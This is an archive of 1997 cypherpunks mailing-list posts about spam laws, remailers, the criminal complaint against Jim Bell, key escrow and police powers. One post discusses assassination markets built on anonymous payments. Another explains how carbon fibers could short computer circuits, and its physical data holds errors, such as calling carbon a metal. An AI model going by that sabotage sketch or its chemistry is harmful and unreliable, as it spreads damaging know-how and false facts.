>     ^-O-O-^
>  -ooO--U--Ooo- Timmy C[reep] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 23 May 1997 22:58:54 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Spam laws threaten remailers?
Message-ID: <199705231444.QAA16307@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Two possibilities:

First, the law might not apply to remailer operators.  It only applies
to originators of messages.  It might make it illegal to use remailers
to send commercial messages, but that would apply to the users,
not to the remailer operators.

Even if it does apply to remailers, they can comply with it.
Put "Advertisement" at the front of each subject line, and put the
remailer operator's contact info in the message.  Remailer operators
are not generally hidden, so this does not hurt them any.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: franl@world.std.omit-this.com (Francis Litterio)
Date: Sat, 24 May 1997 01:09:02 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell accused of "spamming"
In-Reply-To: <LP647D1w165w@bwalk.dm.com>
Message-ID: <3388c803.182450459@world.std.com>
MIME-Version: 1.0
Content-Type: text/plain


dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) wrote:

> Subject: IRS SAYS INTERNET SPAMMER SABOTEUR

So the updated version of the McCarthyesque question is "Are you now
or have you ever been a spammer?"  I guess that's how the gubmint
inflames the sheep these days.
--
Francis Litterio                           PGP Key Fingerprint:
franl@world.std.omit-this.com              02 37 DF 6C 66 43 CD 2C
http://world.std.omit-this.com/~franl/     10 C8 B5 8B 57 34 F3 21
Note: email address and WWW URL altered to prevent spam.

"They that can give up essential liberty to obtain a little temporary 
 safety deserve neither liberty nor safety." -- Ben Franklin, ~1784





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 24 May 1997 07:14:27 +0800
To: aba@dcs.ex.ac.uk (Adam Back)
Subject: Re: Bcc's & cpunks@algebra.com forwards
In-Reply-To: <199705230735.IAA00651@server.test.net>
Message-ID: <199705232305.SAA08354@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Adam,

the answer is that it happens because of my spam filter for cypherpunks.

you would not believe how much spam it catches... and bogus mailing
lists that cypherpunks were sub-scri-bed to...

the theory behind it is that if something was not sent to cypherpunks
explicitly, it most likely does not belong there.

naturally, I DO forward all stuff that belongs there to the list.

igor

Adam Back wrote:
> 
> 
> Igor Chudov <ichudov@algebra.com> writes:
> >
> > plz do not use bcc
> 
> Why not?  It is quite convenient for coping with the non-cross posting
> policy of other groups.
> 
> Also what is it with the <cpunks@manifold.algebra.com> forwards, why
> are these coming to the list forwarded from that address?  Are they
> things which failed your procmail filter manually forwarded
> afterwards?
> 
> Adam
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 24 May 1997 10:29:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: AP=MAFIA=CIA ?
In-Reply-To: <199705232040.NAA29081@fat.doobie.com>
Message-ID: <3.0.1.32.19970523181352.00759e34@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


An anonymous person quoted a Nando.net news story
>   ROME (May 23, 1997 3:43 p.m. EDT) - Italy on Friday mourned the judge
>   whose ground-breaking Mafia investigations led to his murder five
>   years ago.
....
> http://www.nando.net/newsroom/ntn/world/052397/world14_3679.html

There are some similarities between Mafia and CIA assassinations and the
kinds of AP that will become possible with widespread truely anonymous
communications and payment mechanisms, but also a lot of differences.
First of all, very few people think Mafia assassinations are a good idea :-)
On the other hand, in both cases, some good guys will get unfairly murdered,
as well as bad guys, innocent bystanders, and clueless henchpersons,
and in both cases there will be a chilling effect on the target population.

Both systems depend on anonymity and webs of trust.  With remailers, 
you're trusting the remailer operator not to rat on you, but you can 
chain several independent remailers together and be fairly secure.  
With Mafia assassinations, Don Vito doesn't usually call a hit man directly 
- he expresses to one of his trusted lieutenants that Big Paul has been
a real irritant to him lately and that something substantial needs 
to be done about it.  And maybe the lieutenant arranges something himself, 
or maybe he talks to a guy who doesn't do "work", but has a friend who does.
You've got plausible deniability for the guys on top, and they've got 
really strong personal trust in the anonymity of their communications, 
because not only are there family relationships going back generations,
and a code of honor that says you don't rat on your friends,
but it's backed up by the fact that everybody you're dealing with 
knows your True Name and if you double-cross them your life won't
be worth the crabgrass growing on the unmarked graves where your
various body parts will end up when they're done with you :-)

One of the big differences is that the overhead required to maintain a
Mafia infrastructure is substantial - it's necessary for a high-class
full-time pre-information-age criminal organization to do something like that,
but it's also something that's mainly affordable only by mafias, governments,
and similar organizations that have lots of money and time to waste.
AP in a remailer environment needs perhaps less infrastructure,
and it's infrastructure that's worth developing anyway for other reasons -
but as a side effect it lets the ordinary person afford to have unpopular
people killed off just like the Big Players can.  It's still a government-like
activity, just more decentralized, and without the pretense of legitimacy.






#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 24 May 1997 09:34:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell Complaint
In-Reply-To: <199705240031.TAA06112@mailhub.amaranth.com>
Message-ID: <199705240120.SAA21005@netcom19.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


WIlliam H. Geiger III wrote:

: After reading the complainant I have to say that with friends like that
: who needs enemies? 

Let's see.  The only specific acts that are alleged are that Bell obtained
names and addresses of IRS employees, that he twice conducted a high
school type prank involving mercaptan, and that he used invented SS
numbers to avoid paying taxes.  SS numbers being those things the
government swore up and down would never be used to identify citizens, and
which are now required on all banking documents. 

Aside from these alleged events, everything else in the document is either
hysterical hyperbole, or innuendo concerning Bell's feelings about the
government, his interest in guerrilla warfare technology, or what
chemistry experiments he may or may not have performed. 

I hardly think the government is in any danger of being "overthrown" by
Mr. Bell.  It is patently absurd to suggest that a military and political
superpower which can project force to any part of the planet almost
instantly with virtually no fear of consequences is going to crumble at
the hands of one individual armed with a stinky chemical and an attitude. 

Any prosecution of Bell is just an attempt to frighten other sheeple
holding similar sentiments into silence. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 24 May 1997 10:14:30 +0800
To: cypherpunks@algebra.com
Subject: Re: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970523233752.00988164@pop.pipeline.com>
Message-ID: <v03102800afabf7d95a81@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:28 PM -0500 5/23/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <1.5.4.32.19970523233752.00988164@pop.pipeline.com>, on 05/23/97
>   at 05:37 PM, John Young <jya@pipeline.com> said:
>
>>We offer the May 16 complaint against Jim Bell:
>
>>   http://jya.com/jimbell3.htm
>
>After reading the complainant I have to say that with friends like that
>who needs enemies?

Not clear whom you mean...do you mean with friends like Bell, who needs
enemies? Or do you mean, with friends like East and Daly, for Bell, who
needs enemies?

I was spellbound by the complaint John Young made available. It was, at the
least, very clearly written and extremely interesting to read.

We have focussed our comments on the charges related to Bell's essays, esp.
his "Assassination Politics" stuff. I remain convinced that no charges per
se will be successfully prosecuted on these writings.

Whether he planted stink bombs, and what that means, is another matter. (I
have to be honest and admit that it sure does look convincing to me that he
planned the stink bomb attacks, executed them, and then bragged to friends
that he'd gotten revenge. And I expect a jury to be similarly convinced.)

However, I think they're going to have a real hard time proving that an
interest in castor beans and ricin means that a *fatal* attack was planned.
Having read Bell's stuff, off and on, for more than a year and a half, I
just don't see the guy spreading botulism or ricin or Sarin. And proving
future plans, as opposed to actual past events, is tough.

The Social Security Numbers thing seems like a slam dunk to prove. Two of
the numbers differ by only digit (501 and 510). While this is a standard
ploy, based on my c. 1974 involvement in some libertarian tax avoidance
seminars, to "throw off" computers, it is also arguably a natural mistake,
a simple transposition of two digits. However, several of the numbers are
wildly different...the Hamming distance is such that the only explanation
is deliberate intent.

So, I think Bell is in serious trouble on several charges: the tax evasion
charges, the SS number charges (which may be subsumed in the tax charges),
and the "stink bomb" charges.

The other various claims and charges in the complaint, things like the
anti-government essays and the "assault" rifles found, don't seem likely to
go anywhere.

The "plotting to poison the water supply and drop carbon fibers down air
shafts" charges sound sensational. Indeed, Bell went further in terms of
buying stuff than I would have (or ever have), but this may have been
technical curiousity.

In any case, I expect it will be hard to prove a "might have," as opposed
to a "did."

Whether disappointingly or with relief, I noticed no mention of
"Cypherpunks," a name which surely would have been scattered amongst the
various documents on his computer. We'll see what comes up during the trial.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 24 May 1997 07:41:47 +0800
To: John Young <jya@pipeline.com>
Subject: Re: NYC Crypto Forum Add
In-Reply-To: <1.5.4.32.19970523183553.00700ecc@pop.pipeline.com>
Message-ID: <Pine.SUN.3.91.970523190626.11899I-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 23 May 1997, John Young wrote:

> A supplement to the NYC Crypto Forum:
> 
> Toward the end Nesson asked, "How about the missing
> participant here, NSA?"
> 
> Several panelists noted, "NSA's here, in the audience."
> (Nonesuch spoke, however.)

I made a comment to the person next to me, yeah, it's Ms. Denning.  Kahn 
replied "No not really"  Interesting that he'd know...

> Nesson went on to ask, "What about national security
> interests outweighing the right to privacy?"

More interesting was "So, that's all key escrow will do? Let us catch 
stupid criminals?"
 
> It was here that David Kahn offered his defense of key
> recovery.

Yeah, that did suck.  'was cool that he was sitting right next to me.  
For a while it gave me major spookies that Ms Denning was "eyeing me" 
turns out it was Mr. Kahn next to me she was eyeing. :)
 
> Here, an audience member said that he worked at Salomon
> Brothers doing traffic analysis of vast E-mail, and that we
> should be aware that more electronic snooping is going on 
> than most people know. How could we be sure that law
> enforcement would not similarly abuse systems set up to
> catch criminals for other purposes, as NSA allegedly does, 
> and, now using the same methodolgies, as private companies 
> do to spy on employees, customers and competitors.

And of course Mr. FBI Scott (What's the last name) said it was total 
bull. :)  How would he know if the NSA was doing it and he was working 
for the FBI?
 
> All panelists nodded at this, that it's hard to tell god from
> the devil, and crypto won't help.

Yeah, this whole thing left me with the feeling of "Yawn, I've heard both 
sides of this before, nothing new here..."

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 24 May 1997 10:36:41 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970524011320.0094f5f4@pop.pipeline.com>
Message-ID: <v03102802afabfe0ecfaf@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:13 PM -0400 5/23/97, John Young wrote:

>Time to study and ponder the 1st Amend -- which, by the way,
>Matt Blaze did at the NYC crypto forum last night to challenge
>Charney and Denning. Matt pulled out a copy and cited
>it, which may be a good indication of what he knows that
>we don't about what's coming.

When I was in high school, about 30 years ago, much was made of a alleged
public opinion survey in which Americans on the street were asked what they
thought of a document they were shown.

According to the story, a majority thought the document was some kind of
leftist, communist, illegal propaganda.

Obviously you all know what document they were shown.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 24 May 1997 01:49:40 +0800
To: cypherpunks@toad.com
Subject: Accounts payable
Message-ID: <199705231713.TAA03178@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[reep] May's reheated, refurbished, and regurgitated cud is 
completely inappropriate for the mailing lists into which it is 
cross-ruminated.

    ' ' ' ' 
    ^-O-O-^
 -ooO--U--Ooo- Timmy C[reep] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 24 May 1997 08:57:55 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970523233752.00988164@pop.pipeline.com>
Message-ID: <199705240031.TAA06112@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19970523233752.00988164@pop.pipeline.com>, on 05/23/97 
   at 05:37 PM, John Young <jya@pipeline.com> said:

>We offer the May 16 complaint against Jim Bell:

>   http://jya.com/jimbell3.htm

After reading the complainant I have to say that with friends like that
who needs enemies?

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows NT: From the makers of Windows 3.1!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4ZEyI9Co1n+aLhhAQHnjQP6AlDV345PgDIkyt9739QtaSasunc7tBIZ
wWfnoYQYyxm3+ygOh0ZNpb79VTszoL19xc97azx8iGxgQx/vhORL48Aa8RjGfGFT
cb5RiAHWmr9WLlSqgP1OjBmnnjtpRE3b/cLcoWUL8NdxWnvv49JLO0eJ0gecY7sG
IUBATSRLx88=
=IVHA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 24 May 1997 08:02:11 +0800
To: cypherpunks@toad.com
Subject: Jim Bell Complaint
Message-ID: <1.5.4.32.19970523233752.00988164@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We offer the May 16 complaint against Jim Bell:

   http://jya.com/jimbell3.htm

The complaint draws upon previous search warrants 
at Greg Broiles's site:

   http://www.parrhesia.com/jimbell/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 24 May 1997 02:00:09 +0800
To: cypherpunks@cyberpass.net
Subject: NoneStories from the Bell jar & The theory of relativity
In-Reply-To: <3.0.2.32.19970522204359.00b37cc0@mail.teleport.com>
Message-ID: <199705231743.TAA06739@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


>>I guess the only *real* solution is to get rid of the thugs.
>
>Possibly the real solution is not to do stupid things.


The "Rodney King" effect here is amazing.  Jim Bell was not quite a model
citizen.  I don't think most of us would consider stinkbombing office
buildings normal behavior.  But that was 13 years ago, and compared to
what the feds did to him, Jim Bell comes out looking like an angel.  All
things are relative.


PS  For the benefit of our non-technical readers, a bell jar is a glass
dome used in vacuum experiments.  AFAIK, you can't make a stink bomb in
one. :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 24 May 1997 09:42:41 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Police & military access (fwd)
Message-ID: <199705240056.TAA21591@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Date: Fri, 23 May 1997 15:12:54 -0700
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Police & military access

> >This would seem to support Jim Choate's general position. (Though I have my
> >own skepticism that many jurisdictions think it is true.)
> 
> Jim Choate's messages about cops and "civil rights" suggest that he's not
> familiar with and/or interested in the basics of legal research.
> Restrictions (and lack of restrictions) related to use of force, power to
> arest, possession/use of weapons, etc., are mostly statutory. You can't
> find them (or understand them) by starting with only the Constitution, and
> then reasoning and deducing things from it.

Absolutely, but those statutes MUST be referencable back to the
Constitution. Something I freely admit is not the current case. If it were
the current case this would be a very quite mailing list indeed.

What a citizen can and can't do with a weapon is covered in the 2nd. It 
includes police. If I as a citizen can't have object x then a police officer
can't have it, constitutionaly.

> >From a moral or political perspective, (e.g., what *should* the
> relationship between cops and citizens look like) what he writes is
> perfectly reasonable. From a legal perspective (what is the law today?)
> it's incomplete and thereby misleading. 

Absolutely, and if you are infering that I at any time in my life have EVER
asserted that my speculation was the case then you need to take a reading
comprehension course (as well as reflect on what the entire discussion on
cypherpunks truly is at the core).

What *should* be the case is the whole damn point.


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 24 May 1997 09:54:18 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: SIGH Kent clueless again(was Re: spam is a good thing (was Re: Spam IS Free Speech)) (fwd)
Message-ID: <199705240107.UAA21651@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> From: "William H. Geiger III" <whgiii@amaranth.com>
> Date: Fri, 23 May 97 08:29:59 -0500

> No not at all. Just because I am connected to the network I am under no
> obligation to accept a single bit. I don't have to ever download any mail
> or I can download all or I can pick and choose what I accept or what I
> don't.

Exactly,

This is the whole point of a firewall after all. Simply connecting your
cable to a publicly accessible source implies no more than having your
driveway end in a public street. It is NOT an open invitation to stroll
through your living room.

> Obviously you have not ever entered into contract agreements with an
> accesses provider. There is no obligation on my part to receive a single
> bit. If I never run a sendmail daemon then I will never receive a single
> e-mail message regardless of how many are aimed at my servers. This is the
> same with any TCP/IP service. The only obligation I have with my upstream
> provider is to pay my bill. If I choose to bounce everything that is
> routed from Spamford it is my right to do so as it is *MY* equipment. 

This is certainly the exact case between myself and my provider for SSZ.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 24 May 1997 10:17:15 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970524011320.0094f5f4@pop.pipeline.com>
Message-ID: <199705240158.UAA06994@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19970524011320.0094f5f4@pop.pipeline.com>, on 05/23/97 
   at 07:13 PM, John Young <jya@pipeline.com> said:

>Time to study and ponder the 1st Amend -- which, by the way, Matt Blaze
>did at the NYC crypto forum last night to challenge Charney and Denning.
>Matt pulled out a copy and cited
>it, which may be a good indication of what he knows that
>we don't about what's coming.

I found it quite troubling the number of legal activities that were cited
in the complaint as if they were illegal.

- -- Possesion of "assault weapons"
- -- Possession of documents on explosives
- -- Possession of documents on poisons
- -- Possession of documents on biological agents
- -- Possession of documents regarding the adverse affects of carbon fibers
on electrical equipment.

All of the above "crimes" I am guilty of as:

Thanks to the 2nd amendment it is still legal in this country to own a
gun. If I recall right when "assault weapon" became a popular Washington
buzz word it referred to any semi-automatic weapon.

Documentation on explosives, poisons, and biological agents can be found
in numerous text books & articles on chemistry, engineering, biology, and
medical sciences. Due to my schooling and work in both the engineering &
medical fields I have an entire wall of my office covered with such books
and articles.

I don't posess any documents on carbon fibers but I would think that it is
obvious to anyone with an IQ greater than their shoe size (or that of an
IRS agent) that electronic equipment introduced to copper coated fibers
are not long for this world. :)


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: This marks Logical End-Of-Message. Physical EOM follows

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Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Sat, 24 May 1997 12:02:59 +0800
To: cypherpunks@toad.com
Subject: Re: NYC Crypto Forum
Message-ID: <3.0.32.19970523202644.006bc41c@best.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:40 PM 5/23/97 -0400, John Young wrote:
>Some highlights:
>
>David Kahn, in the audience, reaffirmed his support for
>key escrow, stating that it would not change the current
>legal provisions for electronically snooping, and why ask 
>for more privacy than is now authorized.

/\/\/\/\/\ Does anyone else see the horror in this? /\/\/\/\/\/\/\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 24 May 1997 10:22:11 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Police & military access (fwd)
Message-ID: <199705240135.UAA21802@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Date: Fri, 23 May 1997 00:53:43 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Police & military access

> I have no problem with the notion that there is no weapon, no technology
> which certain government officials or police may have but which civilians
> are *not* allowed to have. I don't think the Founders envisioned any such
> circumstances.

They considered such a state instrumentality in the army, the precise reason
they didn't want a standing army in the first place (ie 2yr. limit on ALL
military spending, something flaunted openly). They clearly didn't want such
instrumentalities used by peace time forces and considering the
constitutional ban on using military forces inside the borders of the US it
seems clear they didn't want them used against the citizenry, period.

> The usual cited case is of private ownership of nuclear weapons.

You should read "Dad's Nuke".

> (The Founders didn't know about nuclear weapons and biological weapons,

At this time Simon De' Laplace was forming his first writings regarding how
the sun worked. It discussed gaseous compression and its 'lighting'. Just
about everything else in the paper was wrong.

Tell that to all the Indians they intentionaly killed with smallpox infected
blankets and their commen cold. While they did't didn't have a clue to the
actual process they were well aware of how to deal with the diseases.

I would say my experience is that the relative cluelessness held by the
users of their technology clearly matched those we now trust with it.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 24 May 1997 10:39:37 +0800
To: cypherpunks@toad.com
Subject: Re: Police & military access (fwd)
Message-ID: <199705240140.UAA21876@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 22 May 1997 23:23:31 -0700
> From: Kent Crispin <kent@songbird.com>
> Subject: Re: Police & military access

> > Do police have any civil rights not endowed to a individual citizen?
> 
> No.  But on the job, doing their state assigned duties, they have
> access to instrumentalities not available to private citizens or
> off-duty police.  "On" and "off" duty may sometimes be a little fuzzy
> in practice, but the principle is clear.  It isn't a big deal, and
> it's not a matter of civil rights.

Which principle is clear? That police like to confuse the issue as much as
possible to their advantage?

Of course it is a matter of civil rights. The police are a representative of
the CIVIL authorities, you have truly missed the entire point of the
constitution.

>  A license to practice medicine
> gives you the ability to prescribe morphine.  A certain class of
> drivers license lets you drive a school bus full of children. 

True, but there is NO law that can dictate which doctor I choose let alone
if I choose one at all. At least there I have a choice, because of this the
comparison you are trying to draw is broke.


                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 24 May 1997 10:54:09 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: carbon fibers (fwd)
Message-ID: <199705240207.VAA22060@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Subject: carbon fibers
> Date: Fri, 23 May 1997 21:11:00 -0500 (CDT)
> From: ichudov@algebra.com (Igor Chudov @ home)

> Reading all the discussions about Jim Bell, I became interested in
> the carbon fibers that Jim allegedly planned to use to disrupt the
> work of compiters.
> 
> I would appreciate if anyone explained me how these fibers work, how
> small and thin they are, and so on. I am also curious when and how this
> use of these fibers was invented.

Carbon is commenly used in electronics because when compressed it generates
a small voltage, ala your phone receiver.

It can be both a insulator or a conductor depending on how one fills the
outer valence band. Because its 'natural' state is -4 (it has 8 positions
and only 4 are filled with electrons) it makes a fair conductor. Yet, it is
not listed in most Activity Series for metals. I believe the idea is that
since it is a reasonable conductor that when it falls across parallel lands
on the pcb of a cpu it will short the lines. This would not only affect the
reliability of the data because of current leakage but might in some cases
cause an actual failure because of incorrect voltage or current.

Some relevant physical data to consider: [1]

Data from the Periodic Table:

Carbon (C)
6/12.011
Valences     +2, +4, -4
2.62 g/cm^3 @ STP
M.P.  4100
B.P.  4470
Hexagonal crystal structure
Electronegativity 2.55 (metal)

(if anyone can find the conductivity I would appreciate it, it wasn't in
[1] or the CRC that I have)





[1] The Addison-Wesley Science Handbook: For scientists, writers, and
                                         science buffs
    G.J. Coleman, D. Dewar
    ISBN 0-201-76652-3

                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 24 May 1997 10:22:44 +0800
To: cypherpunks@manifold.algebra.com
Subject: carbon fibers
Message-ID: <199705240211.VAA10002@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Reading all the discussions about Jim Bell, I became interested in
the carbon fibers that Jim allegedly planned to use to disrupt the
work of compiters.

I would appreciate if anyone explained me how these fibers work, how
small and thin they are, and so on. I am also curious when and how this
use of these fibers was invented.

Thank you.

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 24 May 1997 09:41:57 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Jim Bell Complaint
Message-ID: <1.5.4.32.19970524011320.0094f5f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


William Geiger wrote:

>After reading the complaint I have to say that with friends like that
>who needs enemies?

True, if that's what the friends actually said, and if they were
not induced to do so by being fed lethal information: don't
go down with Bell, protect yourself, spill your guts.

Recall that John Painter spoke to one or more of them
and they hedged the remarks of the complaint, but he,
too, saw the makings of a deal in the affadavit's allegations.

Turning friends against friends is pretty common in
investigations, using threats and promises of relief
from possible charges, even saying that your friend is
squealing on you.

I was struck by how similar some remarks attributed to
Bell were to those attributed to McVeigh, not that they
were not made, but that the investigators chose to
select just those to indicate lethal intent. 

The possible link between the McVeigh trial and Jim Bell's 
bust could indicate how the feds are itching to attack
every advocate of anti-gov mayhem (no pun Tim).

The IRS searching the Internet for incriminating advocacy 
is a warning of what's to come, as often predicted here.

Time to study and ponder the 1st Amend -- which, by the way,
Matt Blaze did at the NYC crypto forum last night to challenge
Charney and Denning. Matt pulled out a copy and cited
it, which may be a good indication of what he knows that
we don't about what's coming.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 24 May 1997 10:20:30 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell Complaint
Message-ID: <1.5.4.32.19970524015414.00745f94@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We missed deleting one cite of Jim's "true" SSN
in the complaint, which has now been done. Those
who got early copies, consider ***-ing the num.
Thanks.

'Course, IRS may have faked it, too.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 24 May 1997 13:30:04 +0800
To: cypherpunks@algebra.com
Subject: Re: carbon fibers (fwd)
In-Reply-To: <199705240207.VAA22060@einstein.ssz.com>
Message-ID: <v03102803afac276485ce@[207.167.93.63]>
